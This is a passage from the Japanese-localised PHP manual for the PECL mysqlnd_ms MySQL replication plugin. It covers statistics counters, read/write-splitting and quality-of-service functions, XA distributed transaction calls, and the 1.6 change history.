gtid_commit_injections_failure | Number of failed SQL injections in commit mode as part of the plugins client-side global transaction id emulation. | Since 1.2.0.
gtid_implicit_commit_injections_success | Number of successful SQL injections when implicit commit is detected as part of the plugins client-side global transaction id emulation. Implicit commit happens, for example, when autocommit has been turned off, a query is executed and autocommit is enabled again. In that case, the statement will be committed by the server and SQL to maintain is injected before the autocommit is re-enabled. Another sequence causing an implicit commit is begin(), query(), begin(). The second call to begin() will implicitly commit the transaction started by the first call to begin(). begin() refers to internal library calls not actual PHP user API calls. | Since 1.2.0.
gtid_implicit_commit_injections_failure | Number of failed SQL injections when implicit commit is detected as part of the plugins client-side global transaction id emulation. Implicit commit happens, for example, when autocommit has been turned off, a query is executed and autocommit is enabled again. In that case, the statement will be committed by the server and SQL to maintain is injected before the autocommit is re-enabled. | Since 1.2.0.
transient_error_retries | How often an operation has been retried when a transient error was detected. See also, transient_error plugin configuration file setting. | Since 1.6.0.
fabric_sharding_lookup_servers_success | Number of successful sharding.lookup_servers remote procedure calls to MySQL Fabric. A call is considered successful if the plugin could reach MySQL Fabric and got any reply. The reply itself may or may not be understood by the plugin. Success refers to the network transport only. If the reply was not understood or indicates a valid error condition, fabric_sharding_lookup_servers_xml_failure gets incremented. | Since 1.6.0.
fabric_sharding_lookup_servers_failure | Number of failed sharding.lookup_servers remote procedure calls to MySQL Fabric. A remote procedure call is considered failed if there was a network error in connecting to, writing to or reading from MySQL Fabric. | Since 1.6.0.
fabric_sharding_lookup_servers_time_total | Time spent connecting to,writing to and reading from MySQL Fabrich during the sharding.lookup_servers remote procedure call. The value is aggregated for all calls. Time is measured in microseconds. | Since 1.6.0.
fabric_sharding_lookup_servers_bytes_total | Total number of bytes received from MySQL Fabric in reply to sharding.lookup_servers calls. | Since 1.6.0.
fabric_sharding_lookup_servers_xml_failure | How often a reply from MySQL Fabric to sharding.lookup_servers calls was not understood. Please note, the current experimental implementation does not distinguish between valid errors returned and malformed replies. | Since 1.6.0.
xa_begin | How many XA/distributed transactions have been started using mysqlnd_ms_xa_begin(). | Since 1.6.0.
xa_commit_success | How many XA/distributed transactions have been successfully committed using mysqlnd_ms_xa_commit(). | Since 1.6.0.
xa_commit_failure | How many XA/distributed transactions failed to commit during mysqlnd_ms_xa_commit(). | Since 1.6.0.
xa_rollback_success | How many XA/distributed transactions have been successfully rolled back using mysqlnd_ms_xa_rollback(). The figure does not include implict rollbacks performed as a result of mysqlnd_ms_xa_commit() failure. | Since 1.6.0.
xa_rollback_failure | How many XA/distributed transactions could not be rolled back. This includes failures of mysqlnd_ms_xa_rollback() but also failured during rollback when closing a connection, if rollback_on_close is set. Please, see also xa_rollback_on_close below. | Since 1.6.0.
xa_participants | Total number of participants in any XA transaction started with mysqlnd_ms_xa_begin(). | Since 1.6.0.
xa_rollback_on_close | How many XA transactions have been rolled back implicitly when a connection was close and rollback_on_close is set. Depending on your coding policies, this may hint a flaw in your code as you may prefer to explicitly clean up resources. | Since 1.6.0.
pool_masters_total | Number of master servers (connections) in the internal connection pool. | Since 1.6.0.
pool_slaves_total | Number of slave servers (connections) in the internal connection pool. | Since 1.6.0.
pool_masters_active | Number of master servers (connections) from the internal connection pool which are currently used for picking a connection. | Since 1.6.0.
pool_slaves_active | Number of slave servers (connections) from the internal connection pool which are currently used for picking a connection. | Since 1.6.0.
pool_updates | How often the active connection list has been replaced and a new set of master and slave servers had been installed. | Since 1.6.0.
pool_master_reactivated | How often a master connection has been reused after being flushed from the active list. | Since 1.6.0.
pool_slave_reactivated | How often a slave connection has been reused after being flushed from the active list. | Since 1.6.0.

例

例1 mysqlnd_ms_get_stats() example

<?php
printf("mysqlnd_ms.enable = %d\n", ini_get("mysqlnd_ms.enable"));
printf("mysqlnd_ms.collect_statistics = %d\n", ini_get("mysqlnd_ms.collect_statistics"));
var_dump(mysqlnd_ms_get_stats());
?>

上の例の出力は以下となります。

mysqlnd_ms.enable = 1
mysqlnd_ms.collect_statistics = 1
array(26) {
  ["use_slave"]=>
  string(1) "0"
  ["use_master"]=>
  string(1) "0"
  ["use_slave_guess"]=>
  string(1) "0"
  ["use_master_guess"]=>
  string(1) "0"
  ["use_slave_sql_hint"]=>
  string(1) "0"
  ["use_master_sql_hint"]=>
  string(1) "0"
  ["use_last_used_sql_hint"]=>
  string(1) "0"
  ["use_slave_callback"]=>
  string(1) "0"
  ["use_master_callback"]=>
  string(1) "0"
  ["non_lazy_connections_slave_success"]=>
  string(1) "0"
  ["non_lazy_connections_slave_failure"]=>
  string(1) "0"
  ["non_lazy_connections_master_success"]=>
  string(1) "0"
  ["non_lazy_connections_master_failure"]=>
  string(1) "0"
  ["lazy_connections_slave_success"]=>
  string(1) "0"
  ["lazy_connections_slave_failure"]=>
  string(1) "0"
  ["lazy_connections_master_success"]=>
  string(1) "0"
  ["lazy_connections_master_failure"]=>
  string(1) "0"
  ["trx_autocommit_on"]=>
  string(1) "0"
  ["trx_autocommit_off"]=>
  string(1) "0"
  ["trx_master_forced"]=>
  string(1) "0"
  ["gtid_autocommit_injections_success"]=>
  string(1) "0"
  ["gtid_autocommit_injections_failure"]=>
  string(1) "0"
  ["gtid_commit_injections_success"]=>
  string(1) "0"
  ["gtid_commit_injections_failure"]=>
  string(1) "0"
  ["gtid_implicit_commit_injections_success"]=>
  string(1) "0"
  ["gtid_implicit_commit_injections_failure"]=>
  string(1) "0"
  ["transient_error_retries"]=>
  string(1) "0"
}

参考

  • Runtime configuration
  • mysqlnd_ms.collect_statistics
  • mysqlnd_ms.enable
  • Monitoring

User Contributed Notes

There are no user contributed notes for this page.


Finds whether a table name matches a wildcard pattern or not

  • ≪ mysqlnd_ms_get_stats
  • mysqlnd_ms_query_is_select ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Finds whether a table name matches a wildcard pattern or not

mysqlnd_ms_match_wild

(PECL mysqlnd_ms >= 1.1.0)

mysqlnd_ms_match_wild — Finds whether a table name matches a wildcard pattern or not

説明

mysqlnd_ms_match_wild ( string $table_name , string $wildcard ) : bool

Finds whether a table name matches a wildcard pattern or not.

This function is not of much practical relevance with PECL mysqlnd_ms 1.1.0 because the plugin does not support MySQL replication table filtering yet.

パラメータ

table_name

The table name to check if it is matched by the wildcard.

wildcard

The wildcard pattern to check against the table name. The wildcard pattern supports the same placeholders as MySQL replication filters do.

MySQL replication filters can be configured by using the MySQL Server configuration options --replicate-wild-do-table and --replicate-wild-do-db. Please, consult the MySQL Reference Manual to learn more about this MySQL Server feature.

The supported placeholders are:

  • % - zero or more literals
  • _ - one literal

Placeholders can be escaped using \.

返り値

Returns true table_name is matched by wildcard. Otherwise, returns false

例

例1 mysqlnd_ms_match_wild() example

<?php
var_dump(mysqlnd_ms_match_wild("schema_name.table_name", "schema%"));
var_dump(mysqlnd_ms_match_wild("abc", "_"));
var_dump(mysqlnd_ms_match_wild("table1", "table_"));
var_dump(mysqlnd_ms_match_wild("asia_customers", "%customers"));
var_dump(mysqlnd_ms_match_wild("funny%table","funny\%table"));
var_dump(mysqlnd_ms_match_wild("funnytable", "funny%table"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Find whether to send the query to the master, the slave or the last used MySQL server

  • ≪ mysqlnd_ms_match_wild
  • mysqlnd_ms_set_qos ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Find whether to send the query to the master, the slave or the last used MySQL server

mysqlnd_ms_query_is_select

(PECL mysqlnd_ms >= 1.0.0)

mysqlnd_ms_query_is_select — Find whether to send the query to the master, the slave or the last used MySQL server

説明

mysqlnd_ms_query_is_select ( string $query ) : int

Finds whether to send the query to the master, the slave or the last used MySQL server.

The plugins built-in read/write split mechanism will be used to analyze the query string to make a recommendation where to send the query. The built-in read/write split mechanism is very basic and simple. The plugin will recommend sending all queries to the MySQL replication master server but those which begin with SELECT, or begin with a SQL hint which enforces sending the query to a slave server. Due to the basic but fast algorithm the plugin may propose to run some read-only statements such as SHOW TABLES on the replication master.

パラメータ

query

Query string to test.

返り値

A return value of MYSQLND_MS_QUERY_USE_MASTER indicates that the query should be send to the MySQL replication master server. The function returns a value of MYSQLND_MS_QUERY_USE_SLAVE if the query can be run on a slave because it is considered read-only. A value of MYSQLND_MS_QUERY_USE_LAST_USED is returned to recommend running the query on the last used server. This can either be a MySQL replication master server or a MySQL replication slave server.

If read write splitting has been disabled by setting mysqlnd_ms.disable_rw_split, the function will always return MYSQLND_MS_QUERY_USE_MASTER or MYSQLND_MS_QUERY_USE_LAST_USED.

例

例1 mysqlnd_ms_query_is_select() example

<?php
function is_select($query)
{
 switch (mysqlnd_ms_query_is_select($query))
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("'%s' should be run on the master.\n", $query);
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   printf("'%s' should be run on a slave.\n", $query);
   break;
  case MYSQLND_MS_QUERY_USE_LAST_USED:
   printf("'%s' should be run on the server that has run the previous query\n", $query);
   break;
  default:
   printf("No suggestion where to run the '%s', fallback to master recommended\n", $query);
   break;
 }
}

is_select("INSERT INTO test(id) VALUES (1)");
is_select("SELECT 1 FROM DUAL");
is_select("/*" . MYSQLND_MS_LAST_USED_SWITCH . "*/SELECT 2 FROM DUAL");
?>

上の例の出力は以下となります。

INSERT INTO test(id) VALUES (1) should be run on the master.
SELECT 1 FROM DUAL should be run on a slave.
/*ms=last_used*/SELECT 2 FROM DUAL should be run on the server that has run the previous query

参考

  • Predefined Constants
  • user filter
  • Runtime configuration
  • mysqlnd_ms.disable_rw_split
  • mysqlnd_ms.enable

User Contributed Notes

There are no user contributed notes for this page.


Sets the quality of service needed from the cluster

  • ≪ mysqlnd_ms_query_is_select
  • mysqlnd_ms_set_user_pick_server ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Sets the quality of service needed from the cluster

mysqlnd_ms_set_qos

(PECL mysqlnd_ms < 1.2.0)

mysqlnd_ms_set_qos — Sets the quality of service needed from the cluster

説明

mysqlnd_ms_set_qos ( mixed $connection , int $service_level , int $service_level_option = ? , mixed $option_value = ? ) : bool

Sets the quality of service needed from the cluster. A database cluster delivers a certain quality of service to the user depending on its architecture. A major aspect of the quality of service is the consistency level the cluster can offer. An asynchronous MySQL replication cluster defaults to eventual consistency for slave reads: a slave may serve stale data, current data, or it may have not the requested data at all, because it is not synchronous to the master. In a MySQL replication cluster, only master accesses can give strong consistency, which promises that all clients see each others changes.

PECL/mysqlnd_ms hides the complexity of choosing appropriate nodes to achieve a certain level of service from the cluster. The "Quality of Service" filter implements the necessary logic. The filter can either be configured in the plugins configuration file, or at runtime using mysqlnd_ms_set_qos().

Similar results can be achieved with PECL mysqlnd_ms < 1.2.0, if using SQL hints to force the use of a certain type of node or using the master_on_write plugin configuration option. The first requires more code and causes more work on the application side. The latter is less refined than using the quality of service filter. Settings made through the function call can be reversed, as shown in the example below. The example temporarily switches to a higher service level (session consistency, read your writes) and returns back to the clusters default after it has performed all operations that require the better service. This way, read load on the master can be minimized compared to using master_on_write, which would continue using the master after the first write.

Since 1.5.0 calls will fail when done in the middle of a transaction if transaction stickiness is enabled and transaction boundaries have been detected. properly.

パラメータ

connection

A PECL/mysqlnd_ms connection handle to a MySQL server of the type PDO_MYSQL, mysqli or ext/mysql for which a service level is to be set. The connection handle is obtained when opening a connection with a host name that matches a mysqlnd_ms configuration file entry using any of the above three MySQL driver extensions.

service_level

The requested service level: MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL, MYSQLND_MS_QOS_CONSISTENCY_SESSION or MYSQLND_MS_QOS_CONSISTENCY_STRONG.

service_level_option

An option to parameterize the requested service level. The option can either be MYSQLND_MS_QOS_OPTION_GTID or MYSQLND_MS_QOS_OPTION_AGE.

The option MYSQLND_MS_QOS_OPTION_GTID can be used to refine the service level MYSQLND_MS_QOS_CONSISTENCY_SESSION. It must be combined with a fourth function parameter, the option_value. The option_value shall be a global transaction ID obtained from mysqlnd_ms_get_last_gtid(). If set, the plugin considers both master servers and asynchronous slaves for session consistency (read your writes). Otherwise, only masters are used to achieve session consistency. A slave is considered up-to-date and checked if it has already replicated the global transaction ID from option_value. Please note, searching appropriate slaves is an expensive and slow operation. Use the feature sparsely, if the master cannot handle the read load alone.

The MYSQLND_MS_QOS_OPTION_AGE option can be combined with the MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL service level, to filter out asynchronous slaves that lag more seconds behind the master than option_value. If set, the plugin will only consider slaves for reading if SHOW SLAVE STATUS reports Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master <= option_value. Please note, searching appropriate slaves is an expensive and slow operation. Use the feature sparsely in version 1.2.0. Future versions may improve the algorithm used to identify candidates. Please, see the MySQL reference manual about the precision, accuracy and limitations of the MySQL administrative command SHOW SLAVE STATUS.

option_value

Parameter value for the service level option. See also the service_level_option parameter.

返り値

Returns true if the connections service level has been switched to the requested. Otherwise, returns false

注意

注意:

mysqlnd_ms_set_qos() requires PHP >= 5.4.0 and PECL mysqlnd_ms >= 1.2.0. Internally, it is using a mysqlnd library C functionality not available with PHP 5.3.

Please note, all MySQL 5.6 production versions do not provide clients with enough information to use GTIDs for enforcing session consistency. In the worst case, the plugin will choose the master only.

例

例1 mysqlnd_ms_set_qos() example

<?php
/* Open mysqlnd_ms connection using mysqli, PDO_MySQL or mysql extension */
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli)
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

/* Session consistency: read your writes */
$ret = mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION);
if (!$ret)
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Will use master and return fresh data, client can see his last write */
if (!$res = $mysqli->query("SELECT item, price FROM orders WHERE order_id = 1"))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));

/* Back to default: use of all slaves and masters permitted, stale data can happen */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL))
  die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
?>

参考

  • mysqlnd_ms_get_last_gtid() - Returns the latest global transaction ID
  • Service level and consistency concept
  • Filter concept

User Contributed Notes

There are no user contributed notes for this page.


Sets a callback for user-defined read/write splitting

  • ≪ mysqlnd_ms_set_qos
  • mysqlnd_ms_xa_begin ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Sets a callback for user-defined read/write splitting

mysqlnd_ms_set_user_pick_server

(PECL mysqlnd_ms < 1.1.0)

mysqlnd_ms_set_user_pick_server — Sets a callback for user-defined read/write splitting

説明

mysqlnd_ms_set_user_pick_server ( string $function ) : bool

Sets a callback for user-defined read/write splitting. The plugin will call the callback only if pick[]=user is the default rule for server picking in the relevant section of the plugins configuration file.

The plugins built-in read/write query split mechanism decisions can be overwritten in two ways. The easiest way is to prepend the query string with the SQL hints MYSQLND_MS_MASTER_SWITCH, MYSQLND_MS_SLAVE_SWITCH or MYSQLND_MS_LAST_USED_SWITCH. Using SQL hints one can control, for example, whether a query shall be send to the MySQL replication master server or one of the slave servers. By help of SQL hints it is not possible to pick a certain slave server for query execution.

Full control on server selection can be gained using a callback function. Use of a callback is recommended to expert users only because the callback has to cover all cases otherwise handled by the plugin.

The plugin will invoke the callback function for selecting a server from the lists of configured master and slave servers. The callback function inspects the query to run and picks a server for query execution by returning the hosts URI, as found in the master and slave list.

If the lazy connections are enabled and the callback chooses a slave server for which no connection has been established so far and establishing the connection to the slave fails, the plugin will return an error upon the next action on the failed connection, for example, when running a query. It is the responsibility of the application developer to handle the error. For example, the application can re-run the query to trigger a new server selection and callback invocation. If so, the callback must make sure to select a different slave, or check slave availability, before returning to the plugin to prevent an endless loop.

パラメータ

function

The function to be called. Class methods may also be invoked statically using this function by passing array($classname, $methodname) to this parameter. Additionally class methods of an object instance may be called by passing array($objectinstance, $methodname) to this parameter.

返り値

Host to run the query on. The host URI is to be taken from the master and slave connection lists passed to the callback function. If callback returns a value neither found in the master nor in the slave connection lists the plugin will fallback to the second pick method configured via the pick[] setting in the plugin configuration file. If not second pick method is given, the plugin falls back to the build-in default pick method for server selection.

注意

注意:

mysqlnd_ms_set_user_pick_server() is available with PECL mysqlnd_ms < 1.1.0. It has been replaced by the user filter. Please, check the Change History for upgrade notes.

例

例1 mysqlnd_ms_set_user_pick_server() example

[myapp]
master[] = localhost
slave[] = 192.168.2.27:3306
slave[] = 192.168.78.136:3306
pick[] = user
<?php

function pick_server($connected, $query, $master, $slaves, $last_used)
{
 static $slave_idx = 0;
 static $num_slaves = NULL;
 if (is_null($num_slaves))
  $num_slaves = count($slaves);

 /* default: fallback to the plugins build-in logic */
 $ret = NULL;

 printf("User has connected to '%s'...\n", $connected);
 printf("... deciding where to run '%s'\n", $query);

 $where = mysqlnd_ms_query_is_select($query);
 switch ($where)
 {
  case MYSQLND_MS_QUERY_USE_MASTER:
   printf("... using master\n");
   $ret = $master[0];
   break;
  case MYSQLND_MS_QUERY_USE_SLAVE:
   /* SELECT or SQL hint for using slave */
   if (stristr($query, "FROM table_on_slave_a_only"))
   {
    /* a table which is only on the first configured slave  */
    printf("... access to table available only on slave A detected\n");
    $ret = $slaves[0];
   }
   else
   {
    /* round robin */
    printf("... some read-only query for a slave\n");
    $ret = $slaves[$slave_idx++ % $num_slaves];
   }
   break;
  case MYSQLND_MS_QUERY_LAST_USED:
   printf("... using last used server\n");
   $ret = $last_used;
   break;
 }

 printf("... ret = '%s'\n", $ret);
 return $ret;
}

mysqlnd_ms_set_user_pick_server("pick_server");

$mysqli = new mysqli("myapp", "root", "root", "test");

if (!($res = $mysqli->query("SELECT 1 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT 2 FROM DUAL")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

if (!($res = $mysqli->query("SELECT * FROM table_on_slave_a_only")))
 printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
else
 $res->close();

$mysqli->close();
?>

上の例の出力は以下となります。

User has connected to 'myapp'...
... deciding where to run 'SELECT 1 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.2.27:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT 2 FROM DUAL'
... some read-only query for a slave
... ret = 'tcp://192.168.78.136:3306'
User has connected to 'myapp'...
... deciding where to run 'SELECT * FROM table_on_slave_a_only'
... access to table available only on slave A detected
... ret = 'tcp://192.168.2.27:3306'

参考

  • mysqlnd_ms_query_is_select() - Find whether to send the query to the master, the slave or the last used MySQL server
  • Filter concept
  • user filter

User Contributed Notes

There are no user contributed notes for this page.


Starts a distributed/XA transaction among MySQL servers

  • ≪ mysqlnd_ms_set_user_pick_server
  • mysqlnd_ms_xa_commit ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Starts a distributed/XA transaction among MySQL servers

mysqlnd_ms_xa_begin

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_begin — Starts a distributed/XA transaction among MySQL servers

説明

mysqlnd_ms_xa_begin ( mixed $connection , string $gtrid , int $timeout = ? ) : int

Starts a XA transaction among MySQL servers. PECL/mysqlnd_ms acts as a transaction coordinator the distributed transaction.

Once a global transaction has been started, the plugin injects appropriate XA BEGIN SQL statements on all MySQL servers used in the following. The global transaction is either ended by calling mysqlnd_ms_xa_commit(), mysqlnd_ms_xa_rollback() or by an implicit rollback in case of an error.

During a global transaction, the plugin tracks all server switches, for example, when switching from one MySQL shard to another MySQL shard. Immediately before a query is run on a server that has not been participating in the global transaction yet, XA BEGIN is executed on the server. From a users perspective the injection happens during a call to a query execution function such as mysqli_query(). Should the injection fail an error is reported to the caller of the query execution function. The failing server does not become a participant in the global transaction. The user may retry executing a query on the server and hereby retry injecting XA BEGIN, abort the global transaction because not all required servers can participate, or ignore and continue the global without the failed server.

Reasons to fail executing XA BEGIN include but are not limited to a server being unreachable or the server having an open, concurrent XA transaction using the same xid.

Please note, global and local transactions are mutually exclusive. You cannot start a XA transaction when you have a local transaction open. The local transaction must be ended first. The plugin tries to detect this conflict as early as possible. It monitors API calls for controlling local transactions to learn about the current state. However, if using SQL statements for local transactions such as BEGIN, the plugin may not know the current state and the conflict is not detected before XA BEGIN is injected and executed.

The use of other XA resources but MySQL servers is not supported by the function. To carry out a global transaction among, for example, a MySQL server and another vendors database system, you should issue the systems SQL commands yourself.

注意: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid). The gtrid is a binary string up to 64 bytes long. Please note, depending on your character set settings, 64 characters may require more than 64 bytes to store.

In accordance with the MySQL SQL syntax, XA transactions use identifiers made of three parts. An xid consists of a global transaction identifier (gtrid), a branch qualifier (bqual) and a format identifier (formatID). Only the global transaction identifier can and needs to be set.

The branch qualifier and format identifier are set automatically. The details should be considered implementation dependent, which may change without prior notice. In version 1.6 the branch qualifier is consecutive number which is incremented whenever a participant joins the global transaction.

timeout

Timeout in seconds. The default value is 60 seconds.

The timeout is a hint to the garbage collection. If a transaction is recorded to take longer than expected, the garbage collection begins checking the transactions status.

Setting a low value may make the garbage collection check the progress too often. Please note, checking the status of a global transaction may involve connecting to all recorded participants and possibly issuing queries on the servers.

返り値

Returns true if there is no open local or global transaction and a new global transaction can be started. Otherwise, returns false

参考

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

krozinov at gmail dot com 14-Sep-2018 09:30
When running in strict mode:

declare(strict_types=1);

Counter to the documentation, mysqlnd_ms_xa_begin() expects parameter 2 to be float, not a string.


Commits a distributed/XA transaction among MySQL servers

  • ≪ mysqlnd_ms_xa_begin
  • mysqlnd_ms_xa_gc ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Commits a distributed/XA transaction among MySQL servers

mysqlnd_ms_xa_commit

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_commit — Commits a distributed/XA transaction among MySQL servers

説明

mysqlnd_ms_xa_commit ( mixed $connection , string $gtrid ) : bool

Commits a global transaction among MySQL servers started by mysqlnd_ms_xa_begin().

If any of the global transaction participants fails to commit an implicit rollback is performed. It may happen that not all cases can be handled during the rollback. For example, no attempts will be made to reconnect to a participant after the connection to the participant has been lost. Solving cases that cannot easily be rolled back is left to the garbage collection.

注意: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid).

返り値

Returns true if the global transaction has been committed. Otherwise, returns false

参考

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Garbage collects unfinished XA transactions after severe errors

  • ≪ mysqlnd_ms_xa_commit
  • mysqlnd_ms_xa_rollback ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Garbage collects unfinished XA transactions after severe errors

mysqlnd_ms_xa_gc

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_gc — Garbage collects unfinished XA transactions after severe errors

説明

mysqlnd_ms_xa_gc ( mixed $connection , string $gtrid = ? , bool $ignore_max_retries = ? ) : int

Garbage collects unfinished XA transactions.

The XA protocol is a blocking protocol. There exist cases when servers participating in a global transaction cannot make progress when the transaction coordinator crashes or disconnects. In such a case, the MySQL servers keep waiting for instructions to finish the XA transaction in question. Because transactions occupy resources, transactions should always be terminated properly.

Garbage collection requires configuring a state store to track global transactions. Should a PHP client crash in the middle of a transaction and a new PHP client be started, then the built-in garbage collection can learn about the aborted global transaction and terminate it. If you do not configure a state store, the garbage collection cannot perform any cleanup tasks.

The state store should be crash-safe and be highly available to survive its own crash. Currently, only MySQL is supported as a state store.

Garbage collection can also be performed automatically in the background. See the plugin configuration directive garbage_collection for details.

注意: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid). If given, the garbage collection considers the transaction only. Otherwise, the state store is scanned for any unfinished transaction.

ignore_max_retries

Whether to ignore the plugin configuration max_retries setting. If garbage collection continuously fails and the max_retries limit is reached prior to finishing the failed global transaction, you can attempt further runs prior to investigating the cause and solving the issue manually by issuing appropriate SQL statements on the participants. Setting the parameter has the same effect as temporarily setting max_retries = 0.

返り値

Returns true if garbage collection was successful. Otherwise, returns false

参考

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • State store configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Rolls back a distributed/XA transaction among MySQL servers

  • ≪ mysqlnd_ms_xa_gc
  • Change History ≫
  • PHP Manual
  • Mysqlnd_ms 関数
  • Rolls back a distributed/XA transaction among MySQL servers

mysqlnd_ms_xa_rollback

(PECL mysqlnd_ms < 1.6.0)

mysqlnd_ms_xa_rollback — Rolls back a distributed/XA transaction among MySQL servers

説明

mysqlnd_ms_xa_rollback ( mixed $connection , string $gtrid ) : int

Rolls back a global transaction among MySQL servers started by mysqlnd_ms_xa_begin().

If any of the global transaction participants fails to rollback the situation is left to be solved by the garbage collection.

注意: Experimental

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments.

パラメータ

connection

A MySQL connection handle obtained from any of the connect functions of the mysqli, mysql or PDO_MYSQL extensions.

gtrid

Global transaction identifier (gtrid).

返り値

Returns true if the global transaction has been rolled back. Otherwise, returns false

参考

  • Quickstart XA/Distributed transactions
  • Runtime configuration
  • mysqlnd_ms_get_stats() - Returns query distribution and connection statistics

User Contributed Notes

There are no user contributed notes for this page.


Change History

目次

  • PECL/mysqlnd_ms 1.6 series
  • PECL/mysqlnd_ms 1.5 series
  • PECL/mysqlnd_ms 1.4 series
  • PECL/mysqlnd_ms 1.3 series
  • PECL/mysqlnd_ms 1.2 series
  • PECL/mysqlnd_ms 1.1 series
  • PECL/mysqlnd_ms 1.0 series

This change history is a high level summary of selected changes that may impact applications and/or break backwards compatibility.

See also the CHANGES file in the source distribution for a complete list of changes.

User Contributed Notes

There are no user contributed notes for this page.


PECL/mysqlnd_ms 1.6 series

1.6.0-alpha

  • Release date: TBD
  • Motto/theme: Maintenance and initial MySQL Fabric support

注意:

This is the current development series. All features are at an early stage. Changes may happen at any time without prior notice. Please, do not use this version in production environments.

The documentation may not reflect all changes yet.

Bug fixes

  • Won't fix: #66616 R/W split fails: QOS with mysqlnd_get_last_gtid with built-in MySQL GTID

    This is not a bug in the plugins implementation but a server side feature limitation not considered and documented before. MySQL 5.6 built-in GTIDs cannot be used to ensure session consistency when reading from slaves in all cases. In the worst case the plugin will not consider using the slaves and fallback to using the master. There will be no wrong results but no benefit from doing GTID checks either.

  • Fixed #66064 - Random once load balancer ignoring weights

    Due to a config parsing bug random load balancing has ignored node weights if, and only if, the sticky flag was set (random once).

  • Fixed #65496 - Wrong check for slave delay

    The quality of service filter has erroneously ignored slaves that lag for zero (0) seconds if a any maximum lag had been set. Although a slave was not lagging behind, it was excluded from the load balancing list if a maximum age was set by the QoS filter. This was due to using the wrong comparison operator in the source of the filter.

  • Fixed #65408 - Compile failure with -Werror=format-security

Feature changes

  • Introduced an internal connection pool. When using Fabric and switching from shard group A to shard group B, we are replacing the entire list of masters and slaves. This troubles the connections state alignment logic and some filters. Some filters cache information on the master and slave lists. The new internal connection pool abstraction allows us to inform the filters of changes, hence they can update their caches.

    Later on, the pool can also be used to reduce connection overhead. Assume you are switching from a shard group to another and back again. Whenever the switch is done, the pool's active server (and connection) lists are replaced. However, no longer used connections are not necessarily closed immediately but can be kept in the pool for later reuse.

    Please note, the connection pool is internalat this point. There are some new statistics to monitor it. However, you cannot yet configure pool size of behaviour.

  • Added a basic distributed transaction abstraction. XA transactions can are supported ever since using standard SQL calls. This is inconvenient as XA participants must be managed manually. PECL/mysqlnd_ms introduces API calls to control XA transaction among MySQL servers. When using the new functions, PECL/mysqlnd_ms acts as a transaction coordinator. After starting a distributed transaction, the plugin tracks all servers involved until the transaction is ended and issues appropriate SQL statements on the XA participants.

    This is useful, for example, when using Fabric and sharding. When using Fabric the actual shard servers involved in a business transaction may not be known in advance. Thus, manually controlling a transaction that spawns multiple shards becomes difficult. Please, be warned about current limitations.

  • Introduced automatic retry loop for transient errors and corresponding statistic to count the number of implicit retries. Some distributed database clusters use transient errors to hint a client to retry its operation in a bit. Most often, the client is then supposed to halt execution (sleep) for a short moment before retrying the desired operation. Immediately failing over to another node is not necessary in response to the error. Instead, a retry loop can be performed. Common situation when using MySQL Cluster.

  • Introduced automatic retry loop for transient errors and corresponding statistic to count the number of implicit retries. Some distributed database clusters use transient errors to hint a client to retry its operation in a bit. Most often, the client is then supposed to halt execution (sleep) for a short moment before retrying the desired operation. Immediately failing over to another node is not necessary in response to the error. Instead, a retry loop can be performed. Common situation when using MySQL Cluster.

  • Introduced most basic support for the MySQL Fabric High Availability and sharding framework.

    Please, consider this pre-alpha quality. Both the server side framework and the client side code is supposed to work flawless considering the MySQL Fabric quickstart examples only. However, testing has not been performed to the level of prior plugin alpha releases. Either sides are moving targets, API changes may happen at any time without prior warning.

    As this is work in progress, the manual may not yet reflect allow feature limitations and known bugs.

